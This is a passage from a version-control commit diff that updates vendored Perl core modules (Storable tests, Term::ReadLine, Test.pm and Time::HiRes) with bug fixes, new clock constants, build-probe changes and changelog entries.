+sub broken {
+    my $w = shift;
+    tie @$_, dumb_thing => $_ for $w;
+}
+
+# fails since 5.16
+ok 1, 'Does not fail with "Cannot tie unreifiable array" RT#84705';

Modified: vendor/perl/dist/dist/Storable/t/utf8hash.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/utf8hash.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/utf8hash.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -28,6 +28,7 @@
 use bytes ();
 my %utf8hash;
 
+$Storable::flags = Storable::FLAGS_COMPAT;
 $Storable::canonical = $Storable::canonical; # Shut up a used only once warning.
 
 for $Storable::canonical (0, 1) {

Modified: vendor/perl/dist/dist/Storable/t/weak.t
===================================================================
--- vendor/perl/dist/dist/Storable/t/weak.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Storable/t/weak.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -31,9 +31,11 @@
 use Test::More 'no_plan';
 use Storable qw (store retrieve freeze thaw nstore nfreeze);
 require 'testlib.pl';
-use vars '$file';
+our $file;
 use strict;
 
+# $Storable::flags = Storable::FLAGS_COMPAT;
+
 sub tester {
   my ($contents, $sub, $testersub, $what) = @_;
   # Test that if we re-write it, everything still works:

Modified: vendor/perl/dist/dist/Term-ReadLine/lib/Term/ReadLine.pm
===================================================================
--- vendor/perl/dist/dist/Term-ReadLine/lib/Term/ReadLine.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Term-ReadLine/lib/Term/ReadLine.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -75,6 +75,8 @@
 returns an array with two strings that give most appropriate names for
 files for input and output using conventions C<"E<lt>$in">, C<"E<gt>out">.
 
+The strings returned may not be useful for 3-argument open().
+
 =item Attribs
 
 returns a reference to a hash which describes internal configuration
@@ -229,12 +231,17 @@
 }
 sub addhistory {}
 
+# used for testing purpose
+sub devtty { return '/dev/tty' }
+
 sub findConsole {
     my $console;
     my $consoleOUT;
 
-    if ($^O ne 'MSWin32' and -e "/dev/tty") {
-	$console = "/dev/tty";
+    my $devtty = devtty();
+
+    if ($^O ne 'MSWin32' and -e $devtty) {
+	$console = $devtty;
     } elsif ($^O eq 'MSWin32' or $^O eq 'msys' or -e "con") {
        $console = 'CONIN$';
        $consoleOUT = 'CONOUT$';
@@ -248,7 +255,7 @@
 
     $consoleOUT = $console unless defined $consoleOUT;
     $console = "&STDIN" unless defined $console;
-    if ($console eq "/dev/tty" && !open(my $fh, "<", $console)) {
+    if ($console eq $devtty && !open(my $fh, "<", $console)) {
       $console = "&STDIN";
       undef($consoleOUT);
     }
@@ -266,11 +273,11 @@
   if (@_==2) {
     my($console, $consoleOUT) = $_[0]->findConsole;
 
-
     # the Windows CONIN$ needs GENERIC_WRITE mode to allow
     # a SetConsoleMode() if we end up using Term::ReadKey
     open FIN, (( $^O eq 'MSWin32' && $console eq 'CONIN$' ) ? '+<' : '<' ), $console;
-    open FOUT,'>', $consoleOUT;
+    # RT #132008:  Still need 2-arg open here
+    open FOUT,">$consoleOUT";
 
     #OUT->autoflush(1);		# Conflicts with debugger?
     my $sel = select(FOUT);
@@ -319,7 +326,7 @@
 
 package Term::ReadLine;		# So late to allow the above code be defined?
 
-our $VERSION = '1.16';
+our $VERSION = '1.17';
 
 my ($which) = exists $ENV{PERL_RL} ? split /\s+/, $ENV{PERL_RL} : undef;
 if ($which) {

Added: vendor/perl/dist/dist/Term-ReadLine/t/ReadLine-STDERR.t
===================================================================
--- vendor/perl/dist/dist/Term-ReadLine/t/ReadLine-STDERR.t	                        (rev 0)
+++ vendor/perl/dist/dist/Term-ReadLine/t/ReadLine-STDERR.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,49 @@
+#!./perl -w
+use strict;
+
+use Test::More;
+
+## unit test for RT 132008 - https://rt.perl.org/Ticket/Display.html?id=132008
+
+if ( $^O eq 'MSWin32' || !-e q{/dev/tty} ) {
+    plan skip_all => "Not tested on windows or when /dev/tty does not exist";
+}
+else {
+    plan tests => 9;
+}
+
+if ( -e q[&STDERR] ) {
+    note q[Removing existing file &STDERR];
+    unlink q[&STDERR] or die q{Cannot remove existing file &STDERR [probably created from a previous run]};
+}
+
+use_ok('Term::ReadLine');
+can_ok( 'Term::ReadLine::Stub', qw{new devtty findConsole} );
+is( Term::ReadLine->devtty(), q{/dev/tty}, "check sub devtty" );
+SKIP:
+{
+    open my $tty, "<",  Term::ReadLine->devtty()
+      or skip "Cannot open tty", 1;
+    -t $tty
+      or skip "No tty found, so findConsole() won't return /dev/tty", 1;
+    my @out = Term::ReadLine::Stub::findConsole();
+    is_deeply \@out, [ q{/dev/tty}, q{/dev/tty} ], "findConsole is using /dev/tty";
+}
+
+{
+    no warnings 'redefine';
+    my $donotexist = q[/this/should/not/exist/hopefully];
+
+    ok !-e $donotexist, "File $donotexist does not exist";
+    # double mention to prevent warning
+    local *Term::ReadLine::Stub::devtty =
+      *Term::ReadLine::Stub::devtty = sub { $donotexist };
+    is( Term::ReadLine->devtty(), $donotexist, "devtty mocked" );
+
+    my @out = Term::ReadLine::Stub::findConsole();
+    is_deeply \@out, [ q{&STDIN}, q{&STDERR} ], "findConsole isn't using /dev/tty" or diag explain \@out;
+
+    ok !-e q[&STDERR], 'file &STDERR do not exist before Term::ReadLine call';
+    my $tr = Term::ReadLine->new('whatever');
+    ok !-e q[&STDERR], 'file &STDERR was not created by mistake';
+}

Modified: vendor/perl/dist/dist/Test/lib/Test.pm
===================================================================
--- vendor/perl/dist/dist/Test/lib/Test.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Test/lib/Test.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,10 +5,9 @@
 use strict;
 
 use Carp;
-use vars (qw($VERSION @ISA @EXPORT @EXPORT_OK $ntest $TestLevel), #public-ish
-          qw($TESTOUT $TESTERR %Program_Lines $told_about_diff
-             $ONFAIL %todo %history $planned @FAILDETAIL) #private-ish
-         );
+our ($VERSION, @ISA, @EXPORT, @EXPORT_OK, $ntest, $TestLevel); #public-is
+our ($TESTOUT, $TESTERR, %Program_Lines, $told_about_diff,
+             $ONFAIL, %todo, %history, $planned, @FAILDETAIL); #private-ish
 
 # In case a test is run in a persistent environment.
 sub _reset_globals {
@@ -20,7 +19,7 @@
     $planned    = 0;
 }
 
-$VERSION = '1.30';
+$VERSION = '1.31';
 require Exporter;
 @ISA=('Exporter');
 

Modified: vendor/perl/dist/dist/Test/t/fail.t
===================================================================
--- vendor/perl/dist/dist/Test/t/fail.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Test/t/fail.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 # -*-perl-*-
 use strict;
-use vars qw($Expect);
+our $Expect;
 use Test qw($TESTOUT $TESTERR $ntest ok skip plan); 
 plan tests => 14;
 

Modified: vendor/perl/dist/dist/Test/t/onfail.t
===================================================================
--- vendor/perl/dist/dist/Test/t/onfail.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Test/t/onfail.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,10 @@
 
 use strict;
 use Test qw($ntest plan ok $TESTOUT $TESTERR);
-use vars qw($mycnt);
 
 BEGIN { plan test => 6, onfail => \&myfail }
 
-$mycnt = 0;
+our $mycnt = 0;
 
 my $why = "zero != one";
 # sneak in a test that Test::Harness wont see

Modified: vendor/perl/dist/dist/Time-HiRes/Changes
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,107 @@
 Revision history for the Perl extension Time::HiRes.
 
+1.9759 [2018-03-23]
+ - This version reverts the changes on CPAN that were included in 1.9754 - 1.9758.
+   Several of these changes caused instability on some windows platforms. We can
+   revisit these fixes if necessary in Perl 5.29.0
+
+1.9753 [2018-01-11]
+ - in t/clock.t in a fast system we need to burn more CPU,
+   reported and fix suggested by Joel C. Maslak <jmaslak at antelope.net>
+   [rt.cpan.org #124025]
+ - for t/utime.t in netbsd we need /sbin in PATH to find the mount command,
+   this is needed for the fix in 1.9751 to actually help netbsd with noatime
+   mounts.
+   (thanks to Nigel Horne)
+
+1.9752 [2018-01-04]
+ - fix an error in the error message of utimensat() not available:
+   it said futimens() not available
+ - add --force alias for Makefile.PL --configure
+
+1.9751 [2018-01-02]
+ - in macOS/OSX/Darwin, use __has_builtin() check also for utimensat(),
+   can cause errors like
+   "HiRes.xs:1474:16: error: unrecognized platform name macOS"
+   [rt.cpan.org #123994]
+   (oversight from 1.9749)
+ - do not define TIME_HIRES_STAT/d_hires_stat if none was found, instead
+   of defining it to be zero, which case has no implementation in hrstatns()
+   (thanks to Nigel Horne)
+ - in t/utime.t try to divine if the filesystem of the tempfiles has been
+   mounted with the 'noatime' option, which can prohibit updating the
+   access time timestamp.  Also document this in HiRes.pm.
+   (thanks to Nigel Horne, original analysis by Slaven Rezic)
+ - synchronize the constant lists in HiRes.pm:@EXPORT_OK
+   and Makefile.PL:doConstants and regenerate fallback/const-c.inc
+   and fallback/const-xs.inc, this fixes Perl 5.6.2 issue with
+   d_futimens not allegedly being a valid macro in t/utime.t
+   (using Perl 5.26.1 for the regenerating, not 5.6.2)
+   (thanks to Nigel Horne)
+ - in t/utime.t define a nop sub done_testing for ancient Perls
+   (like Perl 5.6.2)
+ - in Perl 5.6.2 a bogus warning
+   "Use of uninitialized value in subroutine entry"
+   is issued from t/alarm.t: add a comment documenting that
+
+1.9750 [2017-12-22]
+ - update META.yml and META.json for XSLoader instead of DynaLoader
+   [rt.cpan.org #123933]
+
+1.9749 [2017-12-21]
+ - CPAN release
+ - Quieten Time-HiRes test noise: blead 0f009486
+ - Switch some core modules to XSLoader: blead b9a5a78f [rt.cpan.org #129789]
+ - disable a flapping test for CI: blead cd2a978d
+ - Avoid newGVgen in blead-upstream modules: blead 732d3893
+ - Declaration after statement in typemap: blead d269f586
+ - semicolon-friendly diagnostic control: blead 7347ee54
+ - in macOS (OS X) check properly in runtime whether futimens()
+   and utimensat() are available
+
+1.9748 [2017-12-16]
+ - bleadperl only
+ - semicolon-friendly diagnostic control: blead 7347ee54
+
+1.9747 [2017-09-13]
+ - bleadperl only
+ - Switch some core modules to XSLoader: blead b9a5a78f [rt.cpan.org #129789]
+
+1.9746 [2017-08-17]
+ - Unreliable t/usleep.t and t/utime.t tests [rt.cpan.org #122819]
+   Avoid testing for $dt = $t2 - $t1 and assuming $dt is less than
+   some value since a heavily loaded machine can delay the $t2.
+   Testing for greater than is fine.
+ - Tweak the configuring messages about subsecond stat/utime.
+
+1.9745 [2017-08-14]
+  - Properly check for futimens/utimensat actually doing something.
+    This should handle 'gnukfreebsd' (which has only stubs, so far
+    we have been skipping the test) and as a new thing 'gnu' (Hurd)
+    (also only stubs).  Thanks to Nigel Horne.
+  - Scan in t/utime.t whether the filesystem (wherever File::Temp
+    puts it tempfiles) supports subsecond timestamps.  This removes
+    the fragile Linux/ext3 specific hack.  As a side effect, the
+    setting of subsecond timestamps is tested only if reading of
+    them is supported.  Thanks to Carsten Gaebler for the test idea,
+    and Ryan Voots for testing.
+
+1.9744 [2017-07-27]
+  - add more potential clock constants, like CLOCK_MONOTONIC_FAST
+    (available in FreeBSD), and not all potentially found clock
+    constants were properly exported to be available from Perl,
+    see your system's clock_gettime() documentation for the available ones
+
+1.9743 [2017-07-20]
+  - correct declared minimum Perl version (should be 5.6, was declared
+    as 5.8 since 1.9727_03): blead af94b3ac
+  - fix the fix for 'do file' to load hints in Makefile.PL: blead 3172fdbc
+
+1.9742 [2017-04-16]
+  - prefer 3-argument open: blead 1ae6ead9
+  - fix dist/Time-HiRes/t/*.t that assumed '.' in @INC: blead 465db51d
+  - fix cases where 'do file' should be 'do ./file'.: blead 8b69401c
+
 1.9741 [2016-11-20]
   - C++11 compatibility: blead a914236c
   - El Capitan compatibility: blead 45bbc013

Modified: vendor/perl/dist/dist/Time-HiRes/HiRes.pm
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/HiRes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/HiRes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,31 +4,53 @@
 use strict;
 
 require Exporter;
-require DynaLoader;
+use XSLoader ();
 
-our @ISA = qw(Exporter DynaLoader);
+our @ISA = qw(Exporter);
 
 our @EXPORT = qw( );
+# More or less this same list is in Makefile.PL.  Should unify.
 our @EXPORT_OK = qw (usleep sleep ualarm alarm gettimeofday time tv_interval
 		 getitimer setitimer nanosleep clock_gettime clock_getres
 		 clock clock_nanosleep
-		 CLOCK_BOOTTIME CLOCK_HIGHRES
-		 CLOCK_MONOTONIC CLOCK_MONOTONIC_COARSE
-		 CLOCK_MONOTONIC_PRECISE CLOCK_MONOTONIC_RAW
+		 CLOCKS_PER_SEC
+		 CLOCK_BOOTTIME
+		 CLOCK_HIGHRES
+		 CLOCK_MONOTONIC
+		 CLOCK_MONOTONIC_COARSE
+		 CLOCK_MONOTONIC_FAST
+		 CLOCK_MONOTONIC_PRECISE
+		 CLOCK_MONOTONIC_RAW
 		 CLOCK_PROCESS_CPUTIME_ID
-		 CLOCK_REALTIME CLOCK_REALTIME_COARSE
-		 CLOCK_REALTIME_FAST CLOCK_REALTIME_PRECISE
-		 CLOCK_SECOND CLOCK_SOFTTIME CLOCK_THREAD_CPUTIME_ID
-		 CLOCK_TIMEOFDAY CLOCKS_PER_SEC
-		 ITIMER_REAL ITIMER_VIRTUAL ITIMER_PROF ITIMER_REALPROF
+		 CLOCK_PROF
+		 CLOCK_REALTIME
+		 CLOCK_REALTIME_COARSE
+		 CLOCK_REALTIME_FAST
+		 CLOCK_REALTIME_PRECISE
+		 CLOCK_REALTIME_RAW
+		 CLOCK_SECOND
+		 CLOCK_SOFTTIME
+		 CLOCK_THREAD_CPUTIME_ID
+		 CLOCK_TIMEOFDAY
+		 CLOCK_UPTIME
+		 CLOCK_UPTIME_COARSE
+		 CLOCK_UPTIME_FAST
+		 CLOCK_UPTIME_PRECISE
+		 CLOCK_UPTIME_RAW
+		 CLOCK_VIRTUAL
+		 ITIMER_PROF
+		 ITIMER_REAL
+		 ITIMER_REALPROF
+		 ITIMER_VIRTUAL
 		 TIMER_ABSTIME
 		 d_usleep d_ualarm d_gettimeofday d_getitimer d_setitimer
-		 d_nanosleep d_clock_gettime d_clock_getres d_hires_utime
-		 d_clock d_clock_nanosleep
+		 d_nanosleep d_clock_gettime d_clock_getres
+		 d_clock d_clock_nanosleep d_hires_stat
+		 d_futimens d_utimensat d_hires_utime
 		 stat lstat utime
 		);
 
-our $VERSION = '1.9741';
+our $VERSION = '1.9759';
 our $XS_VERSION = $VERSION;
 $VERSION = eval $VERSION;
 
@@ -69,7 +91,7 @@
     Time::HiRes->export_to_level(1, $this, @_);
 }
 
-bootstrap Time::HiRes;
+XSLoader::load( 'Time::HiRes', $XS_VERSION );
 
 # Preloaded methods go here.
 
@@ -454,9 +476,11 @@
 
 As L<perlfunc/utime>
 but with the ability to set the access/modify file timestamps
-in subsecond resolution, if the operating system and the filesystem
-both support such timestamps.  To override the standard utime():
+in subsecond resolution, if the operating system and the filesystem,
+and the mount options of the filesystem, all support such timestamps.
 
+To override the standard utime():
+
     use Time::HiRes qw(utime);
 
 Test for the value of &Time::HiRes::d_hires_utime to find out whether
@@ -468,6 +492,10 @@
 The actual achievable subsecond resolution depends on the combination
 of the operating system and the filesystem.
 
+Modifying the timestamps may not be possible at all: for example, the
+C<noatime> filesystem mount option may prohibit you from changing the
+access time timestamp.
+
 Returns the number of files successfully changed.
 
 =back

Modified: vendor/perl/dist/dist/Time-HiRes/HiRes.xs
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/HiRes.xs	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/HiRes.xs	2018-12-22 22:55:19 UTC (rev 12126)
@@ -46,6 +46,15 @@
 #define PERL_VERSION_GE(r,v,s) \
 	(PERL_DECIMAL_VERSION >= PERL_VERSION_DECIMAL(r,v,s))
 
+#ifndef GCC_DIAG_IGNORE
+# define GCC_DIAG_IGNORE(x)
+# define GCC_DIAG_RESTORE
+#endif
+#ifndef GCC_DIAG_IGNORE_STMT
+# define GCC_DIAG_IGNORE_STMT(x) GCC_DIAG_IGNORE(x) NOOP
+# define GCC_DIAG_RESTORE_STMT GCC_DIAG_RESTORE NOOP
+#endif
+
 /* At least ppport.h 3.13 gets this wrong: one really cannot
  * have NVgf as anything else than "g" under Perl 5.6.x. */
 #if PERL_REVISION == 5 && PERL_VERSION == 6
@@ -913,6 +922,40 @@
 
 #endif /* PERL_DARWIN */
 
+/* The macOS headers warn about using certain interfaces in
+ * OS-release-ignorant manner, for example:
+ *
+ * warning: 'futimens' is only available on macOS 10.13 or newer
+ *       [-Wunguarded-availability-new]
+ *
+ * (ditto for utimensat)
+ *
+ * There is clang __builtin_available() *runtime* check for this.
+ * The gotchas are that neither __builtin_available() nor __has_builtin()
+ * are always available.
+ */
+#ifndef __has_builtin
+# define __has_builtin(x) 0 /* non-clang */
+#endif
+#ifdef HAS_FUTIMENS
+# if defined(PERL_DARWIN) && __has_builtin(__builtin_available)
+#  define FUTIMENS_AVAILABLE __builtin_available(macOS 10.13, *)
+# else
+#  define FUTIMENS_AVAILABLE 1
+# endif
+#else
+# define FUTIMENS_AVAILABLE 0
+#endif
+#ifdef HAS_UTIMENSAT
+# if defined(PERL_DARWIN) && __has_builtin(__builtin_available)
+#  define UTIMENSAT_AVAILABLE __builtin_available(macOS 10.13, *)
+# else
+#  define UTIMENSAT_AVAILABLE 1
+# endif
+#else
+# define UTIMENSAT_AVAILABLE 0
+#endif
+
 #include "const-c.inc"
 
 #if (defined(TIME_HIRES_NANOSLEEP)) || \
@@ -1338,9 +1381,7 @@
         /* on some platforms the 1st arg to setitimer is an enum, which
          * causes -Wc++-compat to complain about passing an int instead
          */
-#ifdef GCC_DIAG_IGNORE
-        GCC_DIAG_IGNORE(-Wc++-compat);
-#endif
+        GCC_DIAG_IGNORE_STMT(-Wc++-compat);
 	if (setitimer(which, &newit, &oldit) == 0) {
 	  EXTEND(sp, 1);
 	  PUSHs(sv_2mortal(newSVnv(TV2NV(oldit.it_value))));
@@ -1349,9 +1390,7 @@
 	    PUSHs(sv_2mortal(newSVnv(TV2NV(oldit.it_interval))));
 	  }
 	}
-#ifdef GCC_DIAG_RESTORE
-        GCC_DIAG_RESTORE;
-#endif
+        GCC_DIAG_RESTORE_STMT;
 
 void
 getitimer(which)
@@ -1362,9 +1401,7 @@
         /* on some platforms the 1st arg to getitimer is an enum, which
          * causes -Wc++-compat to complain about passing an int instead
          */
-#ifdef GCC_DIAG_IGNORE
-        GCC_DIAG_IGNORE(-Wc++-compat);
-#endif
+        GCC_DIAG_IGNORE_STMT(-Wc++-compat);
 	if (getitimer(which, &nowit) == 0) {
 	  EXTEND(sp, 1);
 	  PUSHs(sv_2mortal(newSVnv(TV2NV(nowit.it_value))));
@@ -1373,9 +1410,7 @@
 	    PUSHs(sv_2mortal(newSVnv(TV2NV(nowit.it_interval))));
 	  }
 	}
-#ifdef GCC_DIAG_RESTORE
-        GCC_DIAG_RESTORE;
-#endif
+        GCC_DIAG_RESTORE_STMT;
 
 #endif /* #if defined(HAS_GETITIMER) && defined(HAS_SETITIMER) */
 
@@ -1418,25 +1453,36 @@
 
 		if (SvROK(file) && GvIO(SvRV(file)) && IoIFP(sv_2io(SvRV(file)))) {
 			int fd =  PerlIO_fileno(IoIFP(sv_2io(file)));
-			if (fd < 0)
+			if (fd < 0) {
 				SETERRNO(EBADF,RMS_IFI);
-			else 
+	                } else {
 #ifdef HAS_FUTIMENS
-			if (futimens(fd, utbufp) == 0)
-				tot++;
-#else  /* HAS_FUTIMES */
-				croak("futimens unimplemented in this platform");
-#endif /* HAS_FUTIMES */
+                          if (FUTIMENS_AVAILABLE) {
+                            if (futimens(fd, utbufp) == 0) {
+                              tot++;
+                            }
+                          } else {
+                            croak("futimens unimplemented in this platform");
+                          }
+#else  /* HAS_FUTIMENS */
+			  croak("futimens unimplemented in this platform");
+#endif /* HAS_FUTIMENS */
+                        }
 		}
 		else {
 #ifdef HAS_UTIMENSAT
-			STRLEN len;
-			char * name = SvPV(file, len);
-			if (IS_SAFE_PATHNAME(name, len, "utime") &&
-			    utimensat(AT_FDCWD, name, utbufp, 0) == 0)
-				tot++;
+	          if (UTIMENSAT_AVAILABLE) {
+                    STRLEN len;
+                    char * name = SvPV(file, len);
+                    if (IS_SAFE_PATHNAME(name, len, "utime") &&
+                        utimensat(AT_FDCWD, name, utbufp, 0) == 0) {
+                      tot++;
+                    }
+                  } else {
+                    croak("utimensat unimplemented in this platform");
+                  }
 #else  /* HAS_UTIMENSAT */
-			croak("utimensat unimplemented in this platform");
+	          croak("utimensat unimplemented in this platform");
 #endif /* HAS_UTIMENSAT */
 		}
 	} /* while items */

Modified: vendor/perl/dist/dist/Time-HiRes/Makefile.PL
===================================================================
--- vendor/perl/dist/dist/Time-HiRes/Makefile.PL	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Time-HiRes/Makefile.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -367,10 +367,14 @@
 #include <sys/stat.h>
 int main(int argc, char** argv)
 {
-    int ret;
-    struct timespec ts[2];
-    ret = futimens(0, ts);
-    ret == 0 ? exit(0) : exit(errno ? errno : -1);
+    int ret1, ret2;
+    struct timespec ts1[2], ts2[2];
+    ret1 = futimens(0, ts1);
+    char buf[1];
+    read(0, buf, 0); /* Assuming reading nothing updates atime (the [0]) */
+    ret2 = futimens(0, ts2);
+    ret1 == 0 && ret2 == 0 && (ts1[0].tv_nsec != 0 || ts2[0].tv_nsec != 0) ?
+        exit(0) : exit(errno ? errno : -1);
 }
 EOM
 }
@@ -385,10 +389,16 @@
 #include <fcntl.h>
 int main(int argc, char** argv)
 {
-    int ret;
-    struct timespec ts[2];
-    ret = utimensat(AT_FDCWD, 0, ts, 0);
-    ret == 0 ? exit(0) : exit(errno ? errno : -1);
+    int ret1, ret2;
+    struct timespec ts1[2], ts2[2];
+    /* We make the brave but probably foolish assumption that systems
+     * modern enough to have utimensat also have the /dev/stdin. */
+    ret1 = utimensat(AT_FDCWD, "/dev/stdin", ts1, 0);
+    char buf[1];
+    read(0, buf, 0); /* Assuming reading nothing updates atime (the [0]) */
+    ret2 = utimensat(AT_FDCWD, "/dev/stdin", ts2, 0);
+    ret1 == 0 && ret2 == 0 && (ts1[0].tv_nsec != 0 || ts2[0].tv_nsec != 0) ?
+        exit(0) : exit(errno ? errno : -1);
 }
 EOM
 }
@@ -507,7 +517,7 @@
     if ($has_setitimer && $has_getitimer) {
 	print "You have interval timers (both setitimer and getitimer).\n";
     } else {
-	print "You do not have interval timers.\n";
+	print "You do NOT have interval timers.\n";
     }
 
     print "Looking for ualarm()... ";
@@ -695,7 +705,7 @@
 	print "NOT found.\n";
     }
 
-    print "Looking for futimens()... ";
+    print "Looking for working futimens()... ";
     my $has_futimens;
     if (has_futimens()) {
         $has_futimens++;
@@ -708,7 +718,7 @@
 	print "NOT found.\n";
     }
 
-    print "Looking for utimensat()... ";
+    print "Looking for working utimensat()... ";
     my $has_utimensat;
     if (has_utimensat()) {
         $has_utimensat++;
@@ -721,8 +731,12 @@
 	print "NOT found.\n";
     }
 
-    if ($has_futimens or $has_utimensat) {
+    my $has_hires_utime = ($has_futimens && $has_utimensat);
+    if ($has_hires_utime) {
 	$DEFINE .= ' -DTIME_HIRES_UTIME';
+        print "You seem to have subsecond timestamp setting.\n";
+    } else {
+        print "You do NOT seem to have subsecond timestamp setting.\n";
     }
 
     print "Looking for stat() subsecond timestamps...\n";
@@ -838,14 +852,18 @@
         DEFINE('TIME_HIRES_STAT', 4);
     } elsif ($has_stat_st_uxtime) {
         DEFINE('TIME_HIRES_STAT', 5);
-    }    
+    }
 
-   if ($DEFINE =~ /-DTIME_HIRES_STAT=\d+/) {
-    print "You seem to have stat() subsecond timestamps.\n";
-    print "(Your struct stat has them, but the filesystems must help.)\n";
-   } else {
-    print "You do not seem to have stat subsecond timestamps.\n";
-   }
+    my $has_hires_stat = ($DEFINE =~ /-DTIME_HIRES_STAT=(\d+)/) ? $1 : 0;
+    if ($has_hires_stat) {
+        print "You seem to have subsecond timestamp reading.\n";
+        print "(Your struct stat has them, but the filesystems must help.)\n";
+        unless ($has_hires_utime) {
+            print "However, you do NOT seem to have subsecond timestamp setting.\n";
+        }
+    } else {
+        print "You do NOT seem to have subsecond timestamp reading.\n";
+    }
 
     my $has_w32api_windows_h;
 
@@ -895,10 +913,10 @@
 	'PREREQ_PM' => {
 	    'Carp' => 0,
 	    'Config' => 0,
-	    'DynaLoader' => 0,
 	    'Exporter' => 0,
 	    'ExtUtils::MakeMaker' => 0,
 	    'Test::More' => 0,
+	    'XSLoader' => 0,
 	    'strict' => 0,
 	},
 	'dist'      => {
@@ -936,7 +954,7 @@
     }
 
     if ($ExtUtils::MakeMaker::VERSION >= 6.48) {
-	push @makefileopts, (MIN_PERL_VERSION => '5.008',);
+	push @makefileopts, (MIN_PERL_VERSION => '5.006',);
     }
 
     if ($ExtUtils::MakeMaker::VERSION >= 6.31) {
@@ -948,31 +966,38 @@
 
 sub doConstants {
     if (eval {require ExtUtils::Constant; 1}) {
+        # More or less this same list is in HiRes.pm.  Should unify.
 	my @names = qw(
-                       CLOCKS_PER_SEC
-                       CLOCK_BOOTTIME
-                       CLOCK_HIGHRES
-                       CLOCK_MONOTONIC
-                       CLOCK_MONOTONIC_COARSE
-                       CLOCK_MONOTONIC_PRECISE
-                       CLOCK_MONOTONIC_RAW
-                       CLOCK_PROCESS_CPUTIME_ID
-                       CLOCK_REALTIME
-                       CLOCK_REALTIME_COARSE
-                       CLOCK_REALTIME_FAST
-                       CLOCK_REALTIME_PRECISE
-                       CLOCK_SECOND
-                       CLOCK_SOFTTIME
-                       CLOCK_THREAD_CPUTIME_ID
-                       CLOCK_TIMEOFDAY
-                       CLOCK_UPTIME
-                       CLOCK_UPTIME_FAST
-                       CLOCK_UPTIME_PRECISE
-                       ITIMER_PROF
-                       ITIMER_REAL
-                       ITIMER_REALPROF
-                       ITIMER_VIRTUAL
-                       TIMER_ABSTIME
+		       CLOCKS_PER_SEC
+		       CLOCK_BOOTTIME
+		       CLOCK_HIGHRES
+		       CLOCK_MONOTONIC
+		       CLOCK_MONOTONIC_COARSE
+		       CLOCK_MONOTONIC_FAST
+		       CLOCK_MONOTONIC_PRECISE
+		       CLOCK_MONOTONIC_RAW
+		       CLOCK_PROF
+		       CLOCK_PROCESS_CPUTIME_ID
+		       CLOCK_REALTIME
+		       CLOCK_REALTIME_COARSE
+		       CLOCK_REALTIME_FAST
+		       CLOCK_REALTIME_PRECISE
+		       CLOCK_REALTIME_RAW
+		       CLOCK_SECOND
+		       CLOCK_SOFTTIME
+		       CLOCK_THREAD_CPUTIME_ID
+		       CLOCK_TIMEOFDAY
+		       CLOCK_UPTIME
+		       CLOCK_UPTIME_COARSE
+		       CLOCK_UPTIME_FAST
+		       CLOCK_UPTIME_PRECISE
+		       CLOCK_UPTIME_RAW
+		       CLOCK_VIRTUAL
+		       ITIMER_PROF
+		       ITIMER_REAL
+		       ITIMER_REALPROF
+		       ITIMER_VIRTUAL
+		       TIMER_ABSTIME
                       );
 	foreach (qw (d_usleep d_ualarm d_gettimeofday d_getitimer d_setitimer
 		     d_nanosleep d_clock_gettime d_clock_getres
@@ -982,15 +1007,16 @@
 	    if ($macro =~ /^(d_nanosleep|d_clock)$/) {
 		$macro =~ s/^d_(.+)/TIME_HIRES_\U$1/;
 	    } elsif ($macro =~ /^(d_hires_stat)$/) {
-		my $d_hires_stat = 0;
-		$d_hires_stat = $1 if ($DEFINE =~ /-DTIME_HIRES_STAT=(\d+)/);
-		push @names, {name => $_, macro => "TIME_HIRES_STAT", value => $d_hires_stat,
-			      default => ["IV", "0"]};
-		next;
+		my $d_hires_stat = $1 if ($DEFINE =~ /-DTIME_HIRES_STAT=(\d+)/);
+                if (defined $d_hires_stat) {
+                    push @names, {name => $_, macro => "TIME_HIRES_STAT", value => $d_hires_stat,
+                                  default => ["IV", "0"]};
+                    next;
+                }
 	    } elsif ($macro =~ /^(d_hires_utime)$/) {
 		my $d_hires_utime =
-                    ($DEFINE =~ /-DHAS_FUTIMENS/ ||
-                     $DEFINE =~ /-DHAS_UTIMENSAT/) ? 1 : 0;
+		    ($DEFINE =~ /-DHAS_FUTIMENS/ ||
+		     $DEFINE =~ /-DHAS_UTIMENSAT/);
 		push @names, {name => $_, macro => "TIME_HIRES_UTIME", value => $d_hires_utime,
 			      default => ["IV", "0"]};
 		next;
@@ -1025,9 +1051,11 @@
 }
 
 sub main {
-    if (-f "xdefine" && !(@ARGV  && $ARGV[0] eq '--configure')) {
+    if (-f "xdefine" && !(@ARGV  && $ARGV[0] =~ /^--(?:configure|force)$/)) {
 	print qq[$0: The "xdefine" exists, skipping the configure step.\n];
-	print qq[("$^X $0 --configure" to force the configure step)\n];
+	print qq[Use "$^X $0 --configure"\n];
+	print qq[or: "$^X $0 --force\n];
+	print qq[to force the configure step.\n];
     } else {
 	print "Configuring Time::HiRes...\n";
 	1 while unlink("define");

Modified: vendor/perl/dist/dist/Time-HiRes/fallback/const-c.inc
===================================================================
